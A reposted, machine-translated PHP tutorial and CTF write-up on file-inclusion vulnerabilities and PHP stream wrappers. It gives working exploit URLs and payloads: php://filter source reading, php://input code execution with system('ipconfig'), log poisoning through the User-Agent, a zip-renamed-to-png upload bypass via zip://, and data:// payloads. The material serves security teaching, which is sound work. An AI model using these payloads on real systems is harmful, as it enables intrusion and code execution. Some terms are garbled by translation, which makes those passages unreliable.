ホームページ >バックエンド開発 >PHPの問題 >ファイルのインクルードと PHP 疑似プロトコルの使用状況を分析してみましょう

ファイルのインクルードと PHP 疑似プロトコルの使用状況を分析してみましょう

WBOY
WBOY転載
2022-05-04 09:00:202454ブラウズ

この記事では、PHP に関する関連問題を紹介します。主に、ファイル インクルードと PHP 疑似プロトコルに関する関連コンテンツを紹介します。ファイル インクルージョンの脆弱性は、「コード インジェクション」の一種です。合わせて、皆さんのお役に立てれば幸いです。

ファイルのインクルードと PHP 疑似プロトコルの使用状況を分析してみましょう

推奨される調査: 「PHP ビデオ チュートリアル

ファイル インクルージョン

ファイル インクルージョンの脆弱性「コードインジェクション」の一種です。原則は、ユーザーが制御できるスクリプトまたはコードを挿入し、サーバーに実行させることです。 「コードインジェクション」の代表的なものはファイルインクルードです。

ファイル インクルードの脆弱性を攻撃に悪用するには、次の 2 つの条件を満たす必要があります。

  • Web アプリケーションは、動的に include() およびその他のファイル インクルード関数を使用します。含める必要があるファイルを紹介します;

  • ユーザーは動的変数を制御できます。

ファイルのインクルードを引き起こす一般的な関数:
PHP: include()、include_once()、require()、require_once() など;
1.php ファイルcontains インクルードされたファイルのコードを直接実行でき、インクルードされるファイル形式には制限がありません
PHP では 4 つのファイル インクルード関数が提供されています:
(1) Require: 次の場合に致命的なエラーが発生します。インクルードされたファイルが見つかりません。(E_COMPILE_ERROR) スクリプトを停止します;
(2) インクルード: インクルードされたファイルが見つからない場合、1 つだけ (E_waring) が生成され、スクリプトは実行を続けます;
(3) Require_once: include と同様に、警告が生成されますが、違いは、ファイル コードがインクルードされている場合、再度インクルードされないことです。

PHP 疑似プロトコル

php pseudo-protocol は、実際には、それがサポートするプロトコルおよびカプセル化プロトコルです。サポートするプロトコルは次のとおりです:

file:// — 访问本地文件系统

php:// — 访问各个输入/输出流(I/O streams)data:// — 数据(RFC 2397)zip:// — 压缩流

ファイルのインクルードと PHP 疑似プロトコルの使用状況を分析してみましょう

all_url_include は PHP 5.2 以降に追加されました。安全で便利な設定 (php のデフォルト設定) は次のとおりです:allow_url_fopen=on;all_url_include=off;
allow_url_fopen = On (URL ファイルを開くことを許可、デフォルトで有効)
allow_url_fopen = Off (URL ファイルを開くことを禁止)
allow_url_include = Off (URL ファイルの参照を禁止、新バージョンでは機能が追加、デフォルトで無効)
allow_url_include = On (URL ファイルへの参照を許可、新バージョンでは機能が追加されます)

fileprotocol

file:// ファイル システムは、によって使用されるデフォルトのカプセル化プロトコルです。 PHP、ローカル ファイル システムを表示します。

file:// プロトコルを使用してローカル phpinfo.php

http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\WWW\www\phpinfo.php

ファイルのインクルードと PHP 疑似プロトコルの使用状況を分析してみましょう

#PHP プロトコル
php :/ / は、さまざまな入出力ストリーム (I/O ストリーム) にアクセスします。CTF では、php://filter と php://input

がよく使用されます。php://filter は、ソース コードを読み取るために使用されます。
php://input は、php コードを実行するために使用されます。

http://localhost/www/lfi.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php
php://filter では、php ファイルを読み取るときに Base64 エンコードが必要です


ファイルのインクルードと PHP 疑似プロトコルの使用状況を分析してみましょう php://input

    allow_url_include = On
php://input [POST DATA]PHP コードの実行

***allow_url_include = On***

http://localhost/www/lfi.php?file=php://input

POST	<?system (&#39;ipconfig&#39;)?>

ファイルのインクルードと PHP 疑似プロトコルの使用状況を分析してみましょう

##allow_url_include = Off が必要です
  1. #ただし、ほとんどの場合、allow_url_include はデフォルトでオフになっており、
  2. および POST データを含めることはできません。この場合、Apache ログまたはエラー ログ レコードを含めることはできます

まず第一に、ログのパスを爆破するためのファズ メソッドが必要です。

テストの便宜上、デモンストレーションを容易にするために、最初にログの内容をクリアします

アクセスURL を指定し、エラーを報告してコードをログに書き込みます。 Medium

注: アクセスするには、ここでゲップ パケット キャプチャを使用する必要があります。そうでない場合、コードは URL エンコードされてログに書き込まれ、実行できません。

コードをユーザー エージェントに書き込むこともできます

http://localhost/www/lfi.php?file=<?php  phpinfo();?>


ファイルのインクルードと PHP 疑似プロトコルの使用状況を分析してみましょう

私のログ パスは次のとおりです:

F:\phpstudy\phpstudy_pro\Extensions\Apache2 .4.39\logs\access.log.1631750400ファイルのインクルードと PHP 疑似プロトコルの使用状況を分析してみましょう
file:// pseudo-protocol を使用してログを読み取ると、phpinfo が正常に実行されたことがわかりました

http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400

ファイルのインクルードと PHP 疑似プロトコルの使用状況を分析してみましょうzip://protocol

** zip:// & bzip2:// & zlib:// ** はすべて圧縮ストリームであり、圧縮ファイル内のサブファイルにアクセスできますさらに重要なのは、サフィックス名を指定する必要がなく、jpg png gif xxx などの任意のサフィックスに変更できることです。

ここでは、ファイル アップロードとファイル インクルードを組み合わせた CTF ケースを分析します

最初にファイル アップロードのソース コードを分析します


file:
 

分析源代码发现,文件上传采用了白名单限制策略,只能上传
“gif", “jpeg”, “jpg”, "png"四种后缀名的文件。

分析文件包含的源代码

Tips: the parameter is file! :) <!-- upload.php --><?php     @$file = $_GET["file"];
    echo $file;
    if(isset($file))
    {
        if (preg_match(&#39;/http|data|ftp|input|%00/i&#39;, $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }?>

分析文件包含源代码,发现限制了部分伪协议和%00截断,且在include中自动添加了php后缀名,但是没有限制zip伪协议。

综上分析可以发现,在文件包含中利用zip伪协议,可以创建test.zip的压缩包,里面放着test.php的文件。

在文件上传时候将后缀名zip修改为png的后缀名,

test.php中写入木马

<?phpphpinfo ();?>

如下图所示
ファイルのインクルードと PHP 疑似プロトコルの使用状況を分析してみましょう

ファイルのインクルードと PHP 疑似プロトコルの使用状況を分析してみましょう

图片上传成功之后,利用文件包含和zip://协议去读取test.png中的test.php,发现phpinfo()被执行了,说明poc验证成功

http://172.22.32.25:42715/include.php?file=zip://upload/test.png%23test

ファイルのインクルードと PHP 疑似プロトコルの使用状況を分析してみましょう

data://

条件:

allow_url_fopen:on
allow_url_include :on

访问网址

http://localhost/www/lfi.php?file=data://text/plain,<?php  phpinfo();?>

也可以使用base64编码,防止代码被过滤掉

file=data://text/plain,base64;PD9waHAgcGhwaW5mbygpPz4=
ファイルのインクルードと PHP 疑似プロトコルの使用状況を分析してみましょう

推荐学习:《PHP视频教程

以上がファイルのインクルードと PHP 疑似プロトコルの使用状況を分析してみましょうの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はcsdn.netで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。